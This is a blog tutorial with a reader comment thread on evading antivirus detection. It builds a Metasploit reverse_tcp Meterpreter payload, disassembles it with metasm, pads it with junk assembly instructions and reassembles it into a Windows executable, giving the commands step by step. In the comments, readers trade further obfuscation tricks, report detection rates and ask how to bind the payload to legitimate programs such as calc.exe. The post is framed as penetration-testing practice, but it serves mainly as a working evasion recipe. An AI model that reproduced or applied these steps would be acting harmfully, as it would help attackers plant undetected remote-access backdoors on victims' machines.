Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)


It seems that more and more these days I find myself battling head to head against my client’s Antivirus Detection capabilities. Payloads I encoded to successfully bypass one solution get picked up by another. An executable that walked effortlessly past one AV this week gets stopped dead in its tracks by the very same software build at a different client the week later. This is a frustrating and constant problem for myself and many other Penetration Testers I am sure.

The topic of Antivirus Detection bypass is not a new one by any means. Currently there exist several methodologies that work well and I don’t think anyone (at least no one I know) can respectfully make a claim for a particular method being the De facto standard that works every time.

This article aims to provide some insight into one such method that I have become fond of and has proven quite successful in many of my recent Information Security Assessments. I first became aware of the technique by reading This Great Writeup from exploit-db. I’m not sure if the author is responsible for coining the term or not but they refer to this ancient wisdom and all of its magical powers under the alias “Ghost Writing” which I think sounds super cool!

Brief Introduction To Antivirus Detection Methodologies

If one hopes to successfully get around Antivirus software it’s probably a good idea to understand just how they determine that a malicious application is in fact “malicious”. For a detailed and probably much more accurate explanation of this phenomenon Click here to become Wikipedafied!!

The Cliff Notes Version:
Speaking quite generally, Antivirus Engines are capable of detecting malicious applications usually by one of two basic methodologies.
<– insert rant –>
Don’t tell the Antivirus vendors that though because they would have you believe that there are 10 completely different methods of detection in order to squeeze you somewhere into their 10-tier pricing matrix
<– end rant –>
Heuristic base analysis, in which case the AV engine monitors the behavior of the application and determines based on a predetermined set of criteria if the behavior can be classified as being malicious. This can happen in a sandboxed environment that is generated pre-execution time or dynamically inside a process’s virtual memory space while it is running. This is the current most effective and accurate way to guard against viruses and malware applicaitons. A good heuristic based engine constantly monitors the behavior of all applications and “teaches themselves” to become smarter on a regular basis.

The second and older method is called many names, we will use the term Static Binary Analysis. It doesn’t matter what you call it as long as you understand how it works. In SBA the AV engine looks at the binary data (the machine language instructions) of the application as it sits on the disk and checks for known sequences of malicious instructions, for example the instructions for opening up a TCP port and binding it to “cmd.exe”. These small pieces of code are called “signatures”. For signature detection to be successful your AV vendor needs to know every piece of malicious code out there and have accurate and up-to-date definitions for you on a daily basis. That’s even more difficult to do then it sounds. As luck would have it, most main stream AV vendors (even the ones claiming to be heuristic, shhhh..) still incorporate SBA in some way or another into their products. We can use the flaw in this logic to bypass AV detection by “Obfuscating” or “Ghost Writing” our binary data in such a way that it does not contain any known signatures. Now on to the fun stuff.

Building Our Malicious Executable

First we will build the malicious executable that we want to bypass Antivirus Detection using msfpayload, one of our very closest companions :)

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST= LPORT=443 R > raw_binary

In the above command you should change ’′ to whatever IP address you want your victim to connect back to.

The Metasm Ruby Library

Now that we have created a “raw” binary file we have to disassemble it into readable machine language or Assembly Code. To do this we will use the “metasm” ruby library that ships natively with the metasploit framework. In order for the library to function you must first copy the metasm.rb file and metasm directory into your system’s ruby installation path. On my system doing so looks like this

cd ~/tools/metasploit/lib/metasm
cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1

Now we can disassemble the binary file we created earlier.

$ ruby ~/tools/metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm

That will create a file called asm_code.asm which should look something like this


Manual Obfuscation

Right about now would be a perfect time to reference one of my favorite begging Assembly Language tutorial videos:

Now that we have some ASM know-how we can start getting our hand s dirty with some Ghost Writing. Start adding random ASM instructions in the middle of the various code sections. I know, it would be much more effective to first determine precisely which bytes are flagging your target AV but that’s really another article in it’s self. For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’

From This:

To This:

So here we turned 3 lines of code into 9 however lines 3-8 result in the same values for ECX and EDI as the original code. This is essentially what it means to obfuscate code.

Once you’ve finished mangling your ASM code you need to add the following two lines to the top of the file for it to build correctly.

Someone in the #metasploit IRC was kind enough to point that out to me, Im sorry I can’t remember who it was because so many smart people in the #metasploit room help me out on a regular basis. You know who you are, and thank you!

The final step is to use metasm to build the executable and package it into a format that Windows can run.

$ ruby ~/tools/metasploit/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe

Run a file check on coolstuff.exe to verify that it was built correctly. You should see something like this when finished.

$ file coolstuff.exe
coolstuff.exe: MS-DOS executable, MZ for MS-DOS

If everything went according to plan, you should be left with a random enough binary file that doesn’t match up with any of your target signatures and is free to pwn systems free from Antivirus Detection. That’s all for now, hope you enjoyed reading. Hack responsibly!

Share this article



  1. ds September 18, 2014 1:38 am 

    did anyone get i work on kali linux 1.0.9 ?

  2. Royce Davis December 6, 2013 6:48 pm 

    If you know where the signature is. Sounds to me like you have identified it’s in the .data section. Then you should be able to disassemble your executable and simply edit the section triggering the alert. As long as you alter the code the signature should go away.

  3. Royce Davis December 6, 2013 6:47 pm 

    If you already have a PE that *is* a raw binary file. You should be able to disassemble it using metasm or another disassembler. Obfuscate the code to your liking then reassemble.

  4. makrook November 22, 2013 7:45 pm 


    The problem for me now is that windows defender AND avast detects a signature in the data at the end of the stager.
    anyone knows a quick and dirty way to obfyscate this data ? I’m thinking of some kind of basic encryption (xor, rol), but really my assembly language knowledge is too old to do this on my own now :(


  5. Ashraf November 15, 2013 10:35 pm 

    Hey man,

    I already have a PE exe file that I wish to encrypt. Your tut seems valid only for raw binary (which I’m not sure I understand anyway), I don’t have the raw binary to continue your tutorial with. Any hints?

  6. AtomixGray February 1, 2013 9:20 pm 

    I’ve had this process working beautifully in the past however now i am getting the following error

    disassemble.rb:7:in `require’: no such file to load — metasm/decode (LoadError)

    I am assuming I am missing a GEM?? Any help provided would be awesome!!

  7. X0rCode January 19, 2013 6:01 pm 

    hey very nice tutorial the exe file is 1kb. When i run the file nothing happens ? I did not get a connection to msfconsole. The same problem when i run the file in backtrack 5 with wine.

    any idea why ?

  8. emeau November 9, 2012 7:44 am 

    oh sorry, didn’t you understood i was saying you were bullshiting for fame about a well known and well documented too code obfuscation technique ? Meh, i’ll need to be more explicit the next time.

    thanks for the “ghost writing” term btw, my fapfapometer registered a new record.

  9. jarvir October 1, 2012 2:51 pm 

    Hi! Great article, very interesting. I have been messing with Metasploit, Im new to all of this. Is this what msfencode does to the code? I tried to run it several times on a payload, with several different options, but mcafee kept finding it. I was thinking it might be a heuristic analysis, but I know nothing of how a program like mcafee works. Also, can you explain what using .exe templates with, for example, msfencode does? I saw an example somewhere and tried that too, but it didnt work. I know this is a lot of questions, but since I found your excellent article, your my victim for the day :)

  10. n00bw00t September 29, 2012 2:40 pm 

    Hello I was doing a search on google on how to bypass AV’s with metasploit exploits when I found your site =) and also found this vulnerability with one of our clients CVE-2011-0923 and modify the exploit according to our needs and also modify “windows/meterpreter/reverse_tcp” according to your instructions and works like a charm … (thanks for the tip) but I still not found some that help me to make work exploits from metasploit on my pentest engagements. So I wonder if you can help me or point me to some websites and/or papers(books) that can help me in this quest.

    Thanks in advance!!

  11. mark April 15, 2012 6:19 am 

    Excellent work/post. Totally defeats my AV :)

  12. The Moorish April 1, 2012 8:49 am 

    is it possible to use this method to make Metasploit’s ms08_067_netapi FUD?

  13. PenTest-R March 6, 2012 8:43 am 

    I’ve used different one (not VirusTotal).
    There are another “hidden” labs with all of them updated and installed.


  14. nioooh March 4, 2012 9:15 am 

    There is some better way to improve your obfuscation.
    You can do some control flow analysis, and them insert random sequence of jump next_label, label, and randomize the blocks.

    Some example :

    push ebp
    mov ebp, esp

    goes to

    push ebp
    mov ebp, esp
    jmp i3
    jmp i6
    jmp i8

    And then, randomize the blocks

    push ebp
    mov ebp, esp
    jmp i3
    jmp i8
    jmp i6

    This can easily done by parsing the assembly. Made a script to do this which works with Visual Studio compiler and gcc assembly dumps.

  15. zeknox March 3, 2012 3:12 pm 

    You should NEVER upload your binaries you are testing to VirusTotal or any website similar. These websites work with the AV companies, and by uploading them you are just giving the AV companies a faster time to respond to your new techniques of AV evasion. Rather, you should understand what AV your target is running, Install and Update that version in a Virtual Machine. Then remove internet access from the Virtual Machine and scan your binaries to test it.

  16. PenTest-R March 2, 2012 1:52 am 


    1/35 99% FUD

    Only AVIRA caught it.


  17. solozero March 1, 2012 5:54 am 

    Excellent article!
    I was curious as to what methodology you used to determine where the AV sig would be found in the asm code?

  18. erik February 28, 2012 2:15 am 


    does anyone know where to find more information about the meterpreter/reverse_tcp payload itself? I would like to understand the disassembly, but I can only find documentation about the “big picture” and what meterpreter [payloads] do in general.


  19. pipas February 17, 2012 5:12 pm 

    That’s great, i also tried on to obfuscate more, but only on the next “xor”.
    On the ref, // Xrefs: 2ch ….before the “xor” i did some “add” and “sub” but the microsoft security essentials “got it” …:(

    Can you give me a hint? did you used the same technique or something else… Can i repeat your “trick” on the //Xrefs: 66h ? (before the xor edi, edi) is that it?

    Thanks, BTW the .exe are just 1K it’s really awesome man :D

  20. r3dy February 17, 2012 2:53 pm 

    Actually I know for a fact that you can bypass Microsoft Security Essentials with this method. Perhaps you need to obfuscate more. :)

  21. pipas February 17, 2012 11:24 am 

    BTW, with this technique i was hable to bypass most AV’s, but not micro$oft security essencials :(

    that’s why i’m searching for a way to join a compiled .exe with peencode.rb to another .exe, like notepad.exe or calc.exe

    If you have any tip, i’m be very glad :)

  22. pipas February 17, 2012 9:57 am 

    Thanks r3dy, i’m using the same librarys of “metasm” that you use for my tests, i only asked this because i was curious and tried to compile it on another compiler.

    Thanks for the tips, i’ve downloaded the Assembly videos and i’m going to watch.

    Let me ask another question, do you know how to join a compiled .exe to another, like calc.exe. Using these librarys of metasm?
    I have done some .exe files using your technique and now i wish to join them to “known” .exe apps, to see if it works.


  23. r3dy February 17, 2012 8:19 am 

    Hello pipas. Thank you for your comment. I will try to address your question and hopefully someone will correct me if I need to be corrected.

    The first of those two lines simply tells the assembler what access permissions to assing the .text section of the binary executable. The next line does exactly as it suggests and sets the programs entry point, which is where execution will first take place once the application is launched.

    I’m glad to here you are exploring this topic on your own. I reccomend that you try using the metasm library as this guide was written explicitly with its functionality in mind. Also, it might be worth your time to check out the assembly language primer linked in this article as it does a pretty good job explaining the various code sections .

    Thanks for reading!

  24. pipas February 17, 2012 5:07 am 

    Hi man, great article.
    Can you tell me what the code:
    .section ‘.text’ rwx

    I’m using this technique to try some stuff, but when i use another compiler, it gives errors.


  25. r3dy February 15, 2012 10:16 pm 

    Well this process is usually known as code obfuscation

    I believe I covered that in the article

    There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

    I believe I covered that too. Still, thank you for your contribution.

  26. emeau February 15, 2012 9:59 pm 

    Well this process is usually known as code obfuscation, more specifically as junkcode, and is correctly used (and obviously automated) in reverse engineering tools, software protection products (aka packers) and malwares.

    There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

  27. r3dy February 15, 2012 7:08 pm 


    Excellent observation, I hadn’t thought of that. Would you say that creating a symbolic link would also be an acceptable solution?

  28. jduck February 15, 2012 7:03 pm 

    If you copy metasm to your system lib directory you will prevent it from being updated by commits to the Metasploit tree.. Instead, simply run the disassemble.rb like this:

    box:msf-git$ ruby -Ilib lib/metasm/samples/disassemble.rb test.exe > test.asm

  29. r3dy February 15, 2012 3:47 pm 


    Thanks for commenting. I agree whole hartedly about the automation. Hopefully that will become a part #2 post very soon.

  30. sk February 15, 2012 3:31 pm 

    Hey, good article. Makes me want to go mess around with it. It’d be cool if you automated this process; for example, search the disasm and add a bunch of random inc/dec instructions prior to any/all xors. I’m surprised the AV doesn’t catch on though – but then again, signature based detection is fail, for the most part.

    Keep it up and see you on #offsec! heh!

Leave a comment

Your email address will not be published. Required fields are marked *